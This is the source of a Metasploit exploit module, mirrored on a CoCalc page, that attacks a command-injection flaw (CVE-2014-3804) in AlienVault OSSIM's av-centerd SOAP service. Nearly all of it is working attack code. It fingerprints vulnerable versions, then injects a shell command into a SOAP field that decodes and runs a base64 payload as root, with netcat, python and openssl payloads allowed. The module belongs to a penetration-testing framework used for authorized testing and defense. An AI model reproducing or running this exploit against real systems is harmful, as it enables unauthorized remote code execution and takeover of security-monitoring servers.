CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::HttpClient
12
include REXML
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'AlienVault OSSIM av-centerd Command Injection',
17
'Description' => %q{
18
This module exploits a code execution flaw in AlienVault 4.6.1 and
19
prior. The vulnerability exists in the av-centerd SOAP web service,
20
where the update_system_info_debian_package method uses perl backticks
21
in an insecure way, allowing command injection. This module has been
22
tested successfully on AlienVault 4.6.0.
23
},
24
'Author' =>
25
[
26
'Unknown', # From HP ZDI team, Vulnerability discovery
27
'juan vazquez' # Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'References' =>
31
[
32
['CVE', '2014-3804'],
33
['BID', '67999'],
34
['ZDI', '14-202'],
35
['URL', 'http://forums.alienvault.com/discussion/2690']
36
],
37
'Privileged' => true,
38
'Platform' => 'unix',
39
'Arch' => ARCH_CMD,
40
'Payload' =>
41
{
42
#'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied
43
'Compat' => {
44
'RequiredCmd' => 'perl netcat-e openssl python gawk'
45
}
46
},
47
'DefaultOptions' =>
48
{
49
'SSL' => true
50
},
51
'Targets' =>
52
[
53
[ 'AlienVault <= 4.6.1', { }]
54
],
55
'DefaultTarget' => 0,
56
'DisclosureDate' => '2014-05-05'))
57
58
register_options(
59
[
60
Opt::RPORT(40007)
61
])
62
end
63
64
def check
65
version = ""
66
res = send_soap_request("get_dpkg")
67
68
if res &&
69
res.code == 200 &&
70
res.headers['SOAPServer'] &&
71
res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
72
res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/
73
74
version = $1
75
end
76
77
if version.empty? || version >= "4.7.0"
78
return Exploit::CheckCode::Safe
79
else
80
return Exploit::CheckCode::Appears
81
end
82
end
83
84
def exploit
85
send_soap_request("update_system_info_debian_package", 1)
86
end
87
88
def build_soap_request(method)
89
xml = Document.new
90
xml.add_element(
91
"soap:Envelope",
92
{
93
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
94
'xmlns:soapenc' => "http://schemas.xmlsoap.org/soap/encoding/",
95
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
96
'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/",
97
'xmlns:soap' => "http://schemas.xmlsoap.org/soap/envelope/"
98
})
99
body = xml.root.add_element("soap:Body")
100
m = body.add_element(
101
method,
102
{
103
'xmlns' => "AV/CC/Util"
104
})
105
args = []
106
args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'})
107
args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'})
108
args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'})
109
args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'})
110
(0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) }
111
112
if method == "update_system_info_debian_package"
113
args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})
114
perl_payload = "system(decode_base64"
115
perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
116
args[4].text = "#{rand_text_alpha(4 + rand(4))}"
117
args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'"
118
end
119
120
xml.to_s
121
end
122
123
def send_soap_request(method, timeout = 20)
124
soap = build_soap_request(method)
125
126
res = send_request_cgi({
127
'uri' => '/av-centerd',
128
'method' => 'POST',
129
'ctype' => 'text/xml; charset=UTF-8',
130
'data' => soap,
131
'headers' => {
132
'SOAPAction' => "\"AV/CC/Util##{method}\""
133
}
134
}, timeout)
135
136
res
137
end
138
end
139
140